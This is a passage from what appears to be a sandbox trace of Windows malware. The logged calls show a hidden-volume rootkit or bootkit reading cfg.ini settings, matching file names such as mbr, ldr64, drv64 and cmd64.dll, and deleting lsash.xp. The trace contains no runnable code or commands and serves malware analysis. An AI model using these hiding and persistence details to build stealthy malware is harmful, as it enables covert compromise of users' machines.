MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.575] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.575] IdePortDispatch () returned 0x103 [0121.575] KeWaitForMutexObject () returned 0x0 [0121.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.575] KeLeaveCriticalRegion () [0121.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.575] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.575] KeEnterCriticalRegion () [0121.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.575] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.575] KeLeaveCriticalRegion () [0121.576] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.576] KeEnterCriticalRegion () [0121.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.576] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.576] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.576] KeLeaveCriticalRegion () [0121.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.576] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.576] KeEnterCriticalRegion () [0121.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.576] ExFreePoolWithTag (P=0xfffffa8003bc59b0, Tag=0x0) [0121.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.576] KeLeaveCriticalRegion () [0121.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.576] ReleaseMutex (hMutex=0xf0) returned 1 [0121.576] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.576] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.576] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.576] KeEnterCriticalRegion () [0121.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.576] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.576] IdePortDispatch () returned 0x103 [0121.576] KeWaitForMutexObject () returned 0x0 [0121.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.576] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.576] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.576] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.576] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.576] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6bb0 [0121.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.576] KeLeaveCriticalRegion () [0121.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.576] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.576] KeEnterCriticalRegion () [0121.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.577] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.577] KeLeaveCriticalRegion () [0121.577] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.577] KeEnterCriticalRegion () [0121.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.577] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.577] IdePortDispatch () returned 0x103 [0121.577] KeWaitForMutexObject () returned 0x0 [0121.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.577] KeLeaveCriticalRegion () [0121.577] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.577] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.577] KeEnterCriticalRegion () [0121.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b56000 [0121.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.577] IdePortDispatch () returned 0x103 [0121.577] KeWaitForMutexObject () returned 0x0 [0121.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.577] IdePortDispatch () returned 0x103 [0121.578] KeWaitForMutexObject () returned 0x0 [0121.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.578] KeLeaveCriticalRegion () [0121.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.578] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.578] KeEnterCriticalRegion () [0121.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.578] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.578] KeLeaveCriticalRegion () [0121.578] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.578] KeEnterCriticalRegion () [0121.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.578] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.578] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.578] KeLeaveCriticalRegion () [0121.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.578] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.578] KeEnterCriticalRegion () [0121.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.579] ExFreePoolWithTag (P=0xfffffa8003bd6bb0, Tag=0x0) [0121.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.579] KeLeaveCriticalRegion () [0121.579] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.579] ReleaseMutex (hMutex=0xf0) returned 1 [0121.579] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.579] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.579] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.579] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.579] KeEnterCriticalRegion () [0121.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.579] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.579] IdePortDispatch () returned 0x103 [0121.579] KeWaitForMutexObject () returned 0x0 [0121.579] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.579] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.579] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.579] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.579] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.579] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.579] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.579] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.579] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.579] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.579] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.579] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.579] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.579] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.579] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.579] KeLeaveCriticalRegion () [0121.579] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.579] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.579] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.580] KeEnterCriticalRegion () [0121.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.580] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.580] IdePortDispatch () returned 0x103 [0121.580] KeWaitForMutexObject () returned 0x0 [0121.580] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.580] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.580] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.580] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.580] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.580] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.580] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.580] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.580] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.580] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.580] KeLeaveCriticalRegion () [0121.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.580] ReleaseMutex (hMutex=0x100) returned 1 [0121.580] Sleep (dwMilliseconds=0x2bf20) [0121.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6baab490, dwHighDateTime=0x1d24fa4)) [0121.587] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.587] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.587] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.587] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.587] KeEnterCriticalRegion () [0121.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.587] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.587] IdePortDispatch () returned 0x103 [0121.587] KeWaitForMutexObject () returned 0x0 [0121.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.587] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.587] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.587] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.587] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.587] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6080 [0121.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.587] KeLeaveCriticalRegion () [0121.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.587] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.587] KeEnterCriticalRegion () [0121.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.587] KeLeaveCriticalRegion () [0121.587] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.587] KeEnterCriticalRegion () [0121.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.587] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.587] IdePortDispatch () returned 0x103 [0121.588] KeWaitForMutexObject () returned 0x0 [0121.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.588] KeLeaveCriticalRegion () [0121.588] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.588] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.588] KeEnterCriticalRegion () [0121.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.588] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b59000 [0121.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.588] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.588] IdePortDispatch () returned 0x103 [0121.588] KeWaitForMutexObject () returned 0x0 [0121.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.588] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.588] IdePortDispatch () returned 0x103 [0121.588] KeWaitForMutexObject () returned 0x0 [0121.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.588] KeLeaveCriticalRegion () [0121.588] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.589] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.589] KeEnterCriticalRegion () [0121.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.589] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.589] KeLeaveCriticalRegion () [0121.589] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.589] KeEnterCriticalRegion () [0121.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.589] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.589] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.589] KeLeaveCriticalRegion () [0121.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.589] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.589] KeEnterCriticalRegion () [0121.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.589] ExFreePoolWithTag (P=0xfffffa8003bd6080, Tag=0x0) [0121.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.589] KeLeaveCriticalRegion () [0121.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.589] ReleaseMutex (hMutex=0xf0) returned 1 [0121.589] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.589] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.589] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.589] KeEnterCriticalRegion () [0121.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.590] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.590] IdePortDispatch () returned 0x103 [0121.590] KeWaitForMutexObject () returned 0x0 [0121.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.590] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.590] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.590] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.590] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.590] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd65c0 [0121.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.590] KeLeaveCriticalRegion () [0121.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.590] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.590] KeEnterCriticalRegion () [0121.590] 